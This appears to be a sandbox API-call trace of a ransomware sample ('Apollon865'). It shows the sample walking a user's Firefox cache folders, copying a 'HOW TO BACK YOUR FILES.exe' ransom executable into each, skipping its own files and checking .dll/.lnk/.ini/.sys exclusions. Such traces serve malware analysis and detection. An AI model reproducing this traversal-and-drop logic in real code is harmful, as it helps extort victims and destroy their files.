	[0045.401] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59fc68 | out: hHeap=0x580000) returned 1
	[0045.401] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\Cache\\C") returned 93
	[0045.401] lstrcatW (in: lpString1="", lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\Cache\\C" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\Cache\\C") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\Cache\\C"
	[0045.401] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0045.401] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\Cache\\C\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\mozilla\\firefox\\profiles\\silmbjec.default\\cache\\c\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0045.406] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0045.406] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\Cache\\C\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xb6518ad0, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0x3322d530, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x3322d530, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca150
	[0045.406] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0045.406] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0045.406] lstrcpyW (in: lpString1=0x2d3e60c, lpString2="E6" | out: lpString1="E6") returned="E6"
	[0045.406] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x13) returned 0x59fc68
	[0045.406] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0xc2) returned 0x5aa3c8
	[0045.406] RtlInterlockedPushEntrySList (in: ListHead=0x5b76b0, ListEntry=0x59fc70 | out: ListHead=0x5b76b0, ListEntry=0x59fc70) returned 0x59fc50
	[0045.406] FindNextFileW (in: hFindFile=0x5ca150, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x3322d530, ftCreationTime.dwHighDateTime=0x1d560a9, ftLastAccessTime.dwLowDateTime=0x3322d530, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2d368950, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x1dc00, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="HOW TO BACK YOUR FILES.exe", cAlternateFileName="HOWTOB~1.EXE")) returned 1
	[0045.406] lstrcmpiW (lpString1="HOW TO BACK YOUR FILES.exe", lpString2="HOW TO BACK YOUR FILES.exe") returned 0
	[0045.406] FindNextFileW (in: hFindFile=0x5ca150, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x3322d530, ftCreationTime.dwHighDateTime=0x1d560a9, ftLastAccessTime.dwLowDateTime=0x3322d530, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2d368950, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x1dc00, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="HOW TO BACK YOUR FILES.exe", cAlternateFileName="HOWTOB~1.EXE")) returned 0
	[0045.406] FindClose (in: hFindFile=0x5ca150 | out: hFindFile=0x5ca150) returned 1
	[0045.406] RtlInterlockedPopEntrySList (in: ListHead=0x5b76b0 | out: ListHead=0x5b76b0) returned 0x59fc70
	[0045.407] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\Cache\\C\\E6", iMaxLength=260 | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\Cache\\C\\E6") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\Cache\\C\\E6"
	[0045.407] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5aa3c8 | out: hHeap=0x580000) returned 1
	[0045.407] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59fc68 | out: hHeap=0x580000) returned 1
	[0045.407] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\Cache\\C\\E6") returned 96
	[0045.407] lstrcatW (in: lpString1="", lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\Cache\\C\\E6" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\Cache\\C\\E6") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\Cache\\C\\E6"
	[0045.407] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0045.407] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\Cache\\C\\E6\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\mozilla\\firefox\\profiles\\silmbjec.default\\cache\\c\\e6\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0045.410] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0045.410] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\Cache\\C\\E6\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xb7eaf750, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0x3322d530, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x3322d530, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca150
	[0045.410] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0045.410] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0045.410] lstrcpyW (in: lpString1=0x2d3e612, lpString2="9DCB7d01" | out: lpString1="9DCB7d01") returned="9DCB7d01"
	[0045.410] lstrlenW (lpString="9DCB7d01") returned 8
	[0045.410] lstrlenW (lpString="Apollon865") returned 10
	[0045.410] lstrlenW (lpString=".dll") returned 4
	[0045.411] lstrcmpiW (lpString1="9DCB7d01", lpString2=".dll") returned 1
	[0045.411] lstrlenW (lpString=".lnk") returned 4
	[0045.411] lstrcmpiW (lpString1="9DCB7d01", lpString2=".lnk") returned 1
	[0045.411] lstrlenW (lpString=".ini") returned 4
	[0045.411] lstrcmpiW (lpString1="9DCB7d01", lpString2=".ini") returned 1
	[0045.411] lstrlenW (lpString=".sys") returned 4
	[0045.411] lstrcmpiW (lpString1="9DCB7d01", lpString2=".sys") returned 1
	[0045.411] lstrlenW (lpString="9DCB7d01") returned 8
	[0045.411] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\Cache\\B", iMaxLength=260 | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\Cache\\B") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\Cache\\B"
	[0045.411] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59a5a0 | out: hHeap=0x580000) returned 1
	[0045.411] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59fc48 | out: hHeap=0x580000) returned 1
	[0045.411] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\Cache\\B") returned 93
	[0045.411] lstrcatW (in: lpString1="", lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\Cache\\B" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\Cache\\B") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\Cache\\B"
	[0045.411] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0045.411] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\Cache\\B\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\mozilla\\firefox\\profiles\\silmbjec.default\\cache\\b\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0045.415] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0045.415] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\Cache\\B\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xb6518ad0, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0x3322d530, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x3322d530, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca150
	[0045.415] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0045.415] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0045.415] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\Cache\\A", iMaxLength=260 | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\Cache\\A") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\Cache\\A"
	[0045.415] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59a4d8 | out: hHeap=0x580000) returned 1
	[0045.415] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59fc28 | out: hHeap=0x580000) returned 1
	[0045.415] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\Cache\\A") returned 93
	[0045.415] lstrcatW (in: lpString1="", lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\Cache\\A" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\Cache\\A") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\Cache\\A"
	[0045.415] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0045.415] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\Cache\\A\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\mozilla\\firefox\\profiles\\silmbjec.default\\cache\\a\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0045.420] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0045.420] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\Cache\\A\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xb6518ad0, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0x33253690, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x33253690, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca150
	[0045.420] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0045.420] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0045.420] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\Cache\\9", iMaxLength=260 | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\Cache\\9") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\Cache\\9"
	[0045.420] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59a410 | out: hHeap=0x580000) returned 1
	[0045.420] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59fc08 | out: hHeap=0x580000) returned 1
	[0045.420] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\Cache\\9") returned 93
	[0045.420] lstrcatW (in: lpString1="", lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\Cache\\9" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\Cache\\9") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\Cache\\9"
	[0045.420] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0045.420] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\Cache\\9\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\mozilla\\firefox\\profiles\\silmbjec.default\\cache\\9\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0045.423] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0045.423] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\Cache\\9\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xb6518ad0, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0x33253690, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x33253690, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca150
	[0045.424] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0045.424] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0045.424] lstrcpyW (in: lpString1=0x2d3e60c, lpString2="10" | out: lpString1="10") returned="10"
	[0045.424] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x13) returned 0x59fc08
	[0045.424] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0xc2) returned 0x5aa3c8
	[0045.424] RtlInterlockedPushEntrySList (in: ListHead=0x5b76b0, ListEntry=0x59fc10 | out: ListHead=0x5b76b0, ListEntry=0x59fc10) returned 0x59fbf0
	[0045.424] FindNextFileW (in: hFindFile=0x5ca150, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xb7d58af0, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0xb7d58af0, ftLastAccessTime.dwHighDateTime=0x1d2dda4, ftLastWriteTime.dwLowDateTime=0xb7d58af0, ftLastWriteTime.dwHighDateTime=0x1d2dda4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="2C", cAlternateFileName="")) returned 1
	[0045.424] lstrcmpiW (lpString1="2C", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0045.424] lstrcmpiW (lpString1="2C", lpString2="Apollon865.txt.exe") returned -1
	[0045.424] lstrcpyW (in: lpString1=0x2d3e60c, lpString2="2C" | out: lpString1="2C") returned="2C"
	[0045.424] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x13) returned 0x59fc28
	[0045.424] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0xc2) returned 0x5aa498
	[0045.424] RtlInterlockedPushEntrySList (in: ListHead=0x5b76b0, ListEntry=0x59fc30 | out: ListHead=0x5b76b0, ListEntry=0x59fc30) returned 0x59fc10
	[0045.424] FindNextFileW (in: hFindFile=0x5ca150, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xb7f47cd0, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0xb7f47cd0, ftLastAccessTime.dwHighDateTime=0x1d2dda4, ftLastWriteTime.dwLowDateTime=0xb7f47cd0, ftLastWriteTime.dwHighDateTime=0x1d2dda4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="61", cAlternateFileName="")) returned 1
	[0045.424] lstrcmpiW (lpString1="61", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0045.424] lstrcmpiW (lpString1="61", lpString2="Apollon865.txt.exe") returned -1
	[0045.424] lstrcpyW (in: lpString1=0x2d3e60c, lpString2="61" | out: lpString1="61") returned="61"
	[0045.424] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x13) returned 0x59fc48
	[0045.424] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0xc2) returned 0x59a410
	[0045.424] RtlInterlockedPushEntrySList (in: ListHead=0x5b76b0, ListEntry=0x59fc50 | out: ListHead=0x5b76b0, ListEntry=0x59fc50) returned 0x59fc30
	[0045.424] FindNextFileW (in: hFindFile=0x5ca150, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x81e8d330, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x81e8d330, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x81e8d330, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="E0", cAlternateFileName="")) returned 1
	[0045.424] lstrcmpiW (lpString1="E0", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0045.424] lstrcmpiW (lpString1="E0", lpString2="Apollon865.txt.exe") returned 1
	[0045.424] lstrcpyW (in: lpString1=0x2d3e60c, lpString2="E0" | out: lpString1="E0") returned="E0"
	[0045.424] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x13) returned 0x59fc68
	[0045.424] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0xc2) returned 0x59a4e0
	[0045.424] RtlInterlockedPushEntrySList (in: ListHead=0x5b76b0, ListEntry=0x59fc70 | out: ListHead=0x5b76b0, ListEntry=0x59fc70) returned 0x59fc50
	[0045.424] FindNextFileW (in: hFindFile=0x5ca150, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x33253690, ftCreationTime.dwHighDateTime=0x1d560a9, ftLastAccessTime.dwLowDateTime=0x33253690, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2d368950, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x1dc00, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="HOW TO BACK YOUR FILES.exe", cAlternateFileName="HOWTOB~1.EXE")) returned 1
	[0045.424] lstrcmpiW (lpString1="HOW TO BACK YOUR FILES.exe", lpString2="HOW TO BACK YOUR FILES.exe") returned 0
	[0045.425] FindNextFileW (in: hFindFile=0x5ca150, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x33253690, ftCreationTime.dwHighDateTime=0x1d560a9, ftLastAccessTime.dwLowDateTime=0x33253690, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2d368950, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x1dc00, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="HOW TO BACK YOUR FILES.exe", cAlternateFileName="HOWTOB~1.EXE")) returned 0
	[0045.425] FindClose (in: hFindFile=0x5ca150 | out: hFindFile=0x5ca150) returned 1
	[0045.425] RtlInterlockedPopEntrySList (in: ListHead=0x5b76b0 | out: ListHead=0x5b76b0) returned 0x59fc70
	[0045.425] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\Cache\\9\\E0", iMaxLength=260 | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\Cache\\9\\E0") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\Cache\\9\\E0"
	[0045.425] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59a4e0 | out: hHeap=0x580000) returned 1
	[0045.425] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59fc68 | out: hHeap=0x580000) returned 1
	[0045.425] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\Cache\\9\\E0") returned 96
	[0045.425] lstrcatW (in: lpString1="", lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\Cache\\9\\E0" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\Cache\\9\\E0") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\Cache\\9\\E0"
	[0045.425] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0045.425] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\Cache\\9\\E0\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\mozilla\\firefox\\profiles\\silmbjec.default\\cache\\9\\e0\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0045.429] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0045.429] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\Cache\\9\\E0\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x81e8d330, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x33253690, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x33253690, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca150
	[0045.430] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0045.430] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0045.430] lstrcpyW (in: lpString1=0x2d3e612, lpString2="F17B2d01" | out: lpString1="F17B2d01") returned="F17B2d01"
	[0045.430] lstrlenW (lpString="F17B2d01") returned 8
	[0045.430] lstrlenW (lpString="Apollon865") returned 10
	[0045.430] lstrlenW (lpString=".dll") returned 4
	[0045.430] lstrcmpiW (lpString1="F17B2d01", lpString2=".dll") returned 1
	[0045.430] lstrlenW (lpString=".lnk") returned 4
	[0045.430] lstrcmpiW (lpString1="F17B2d01", lpString2=".lnk") returned 1
	[0045.430] lstrlenW (lpString=".ini") returned 4
	[0045.430] lstrcmpiW (lpString1="F17B2d01", lpString2=".ini") returned 1
	[0045.430] lstrlenW (lpString=".sys") returned 4
	[0045.430] lstrcmpiW (lpString1="F17B2d01", lpString2=".sys") returned 1
	[0045.430] lstrlenW (lpString="F17B2d01") returned 8
